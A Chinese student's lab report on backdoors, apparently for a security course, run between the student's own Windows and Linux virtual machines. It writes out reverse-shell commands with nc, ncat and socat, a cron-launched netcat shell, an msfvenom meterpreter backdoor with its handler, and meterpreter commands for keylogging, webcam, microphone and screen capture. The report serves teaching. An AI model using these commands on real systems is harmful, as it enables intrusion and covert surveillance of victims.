Exp2 后门原理与实践 20164314 郭浏聿
1.实践内容
(1)使用nc实现win,Linux间的后门连接。 热身
(2)使用netcat获取主机操作Shell,cron启动。
(3)使用socat获取主机操作Shell, 任务计划启动。
(4)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(5)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
2.基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
在下载软件时,后门捆绑在下载的软件上,与软件一起安装进入了系统。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
windows:实验中做过的方式有直接双击开启后门程序、通过Windows->控制面板->管理工具启动任务计划程序、开机自启动的后门、和其他程序捆绑运行的后门程序等。
linux:通过在cron中添加任务,定时执行、通过一些脚本启动后门程序、通过和其他程序捆绑运行后门程序。
(3)Meterpreter有哪些给你映像深刻的功能?
获取摄像头权限进行拍照;其实它的所有功能都令人印象深刻和害怕。
(4)如何发现自己有系统有没有被安装后门?
杀毒软件吧;监控是否有进程异常,数据流异常以及开机自启动项。
3.实验过程
准备工作:由于不想用自己电脑的Windows,我就安装了一个Windows系统的虚拟机;在Windows虚拟机上安装netcat和socat。
1.获取Windows和Linux的IP
(1)在Windows下,先使用ipconfig指令查看本机;在Linux下,使用ifconfig指令查看地址。
Windows的IP:192.168.219.131 ;Linux:192.168.219.128
2.使用ncat,使Windows获得Linux操作shell
(1)win中使用ncat监听4314端口:ncat.exe -l -p 4314
(2)在Linux终端窗口使用 nc 192.168.219.131 4314 -e /bin/sh
命令去连接Win的4314端口
结果:Windows成功获得Linux操作shell,能够进行操作。
3.Linux获得Windows shell
(1)在Linux中监听4314端口:nc -l -p 4314
(2)在Windows输入指令 ncat.exe -e cmd.exe 192.168.219.128 4314 反弹连接Linux的4314端口(指令中的ip地址需为Linux ip)
结果:虚拟机(Linux)成功获得本机(Windows)操作shell,能够执行Windows中的命令。
4.使用nc传输数据
netcat根据课上所学简单来讲,就是利用TCP、UDP连接进行基本的数据收发,在两台主机之间传输字符文件之类的,所以我们在这里尝试用它在win和linux之间做一个后门。
双向传输字符串:
5.以定时任务cron的形式启动netcat获取主机操作Shell
(1)先在Windows系统下,监听4318端口:
(2)在Linux终端输入 crontab -e,选择3,也就是基本的vim编辑器;
(3)vim编辑器中用 i 改为插入模式,在最后一行插入17 13 24 3 * /bin/netcat 192.168.219.131 4314 -e /bin/sh ,意思是在3月24号的13点17分反向连接Windows本机的4314
端口,就会启动cron
。
(4)当时间到了13点17分时,此时已经获得了shell,可以输入指令。
6.使用socat获取主机操作Shell, 任务计划启动
(1)在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:
(2)在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:4314 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口4314
,同时把cmd.exe的stderr重定向到stdout上;(此处应有图,但我找不到了·······)
(3)创建完成之后,再次打开时,可以发现之前创建的任务已经开始运行了;
(4)此时,在Linux下输入指令 socat - tcp:192.168.219.131 4314 ,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的4314端口,此时可以发现已经成功获得了一个cmd shell
7.使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(1)输入指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.128 LPORT=4314 -f exe > 20164314——backdoor.exe 生成后门程序:
(2)通过nc指令将生成的后门程序传送到Windows主机上:(在做这一步之前先将本机的杀毒软件和防火墙关闭!)
(3)在Linux上使用 msfconsole 指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:
MSF打开监听进程
msfconsole:进入msf
use exploit/multi/handler:进入handler模式
set payload windows/meterpreter/reverse_tcp:设置payload
set LHOST 192.168.174.129:设置LHOST
set LPORT 4318:设置LPORT
exploit:MSF开始监听
(4)设置完成后,执行监听;
(5)打开Windows上的后门程序;
(6)此时Linux上已经获得了Windows的连接,并且得到了远程控制的shell:(此处忘记截图了····)
8.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(1)使用 record_mic 指令可以截获一段音频;
(2)使用 screenshot 指令可以进行截屏;
(3)使用 webcam_snap 指令可以使用摄像头进行录像;
(4)使用 keyscan_start 指令可以记录下击键的过程;
(5)使用 keyscan_dump 指令可以读取击键的记录
4.实验感想
这次实验让我收获良多,首先我知道了后门的原理并且进行了简单的实践,掌握了使用nc实现Windows和Linux之间的后门连接,其次我学会了meterpreter的使用,还掌握了MSF POST模块的简单使用。这次实验让我意识到了保护自己电脑主机的重要性,防火墙和杀毒软件并非相当可靠,今后不能轻易点开陌生人发的链接,不浏览不安全的网站,努力培养信息安全意识,提升自身信息安全方面的素养。
最新文章
- NLP常用工具
- iTop Webservice列表
- Wampserver 2.5 多站点配置方法
- logback 配置详解(一)——logger、root
- Python实现对文件夹内文本文件递归查找
- ActionSupport与action区别
- #8.10.16总结# 属性选择符 伪对象选择符 CSS的常用样式
- [Oracle] 生产上表的列类型更新
- nginx&;apache比较
- js随机更换
- MFC简易画图
- [C和指针] rearrange.c
- java 对象赋值问题
- CSS中RGBA的兼容方法以及透明度计算方法
- thinkphp 的两种建构模式 第一种一个单入口里面定义两个模块,前台和后台,函数控制模块必须function.php前台加载前台模块的汉书配置文件,后台加载后台模块的汉书配置文件,公共文件共用。第二种架构模式两个单入口文件,分别生成两个应用定义define。。。函数可以定义配置文件。。。。
- python 开发者 精品
- redis—操作基础
- 自动化运维工具——puppet详解(一)
- JavsScript学习---快速排序
- 2827: 千山鸟飞绝 非旋treap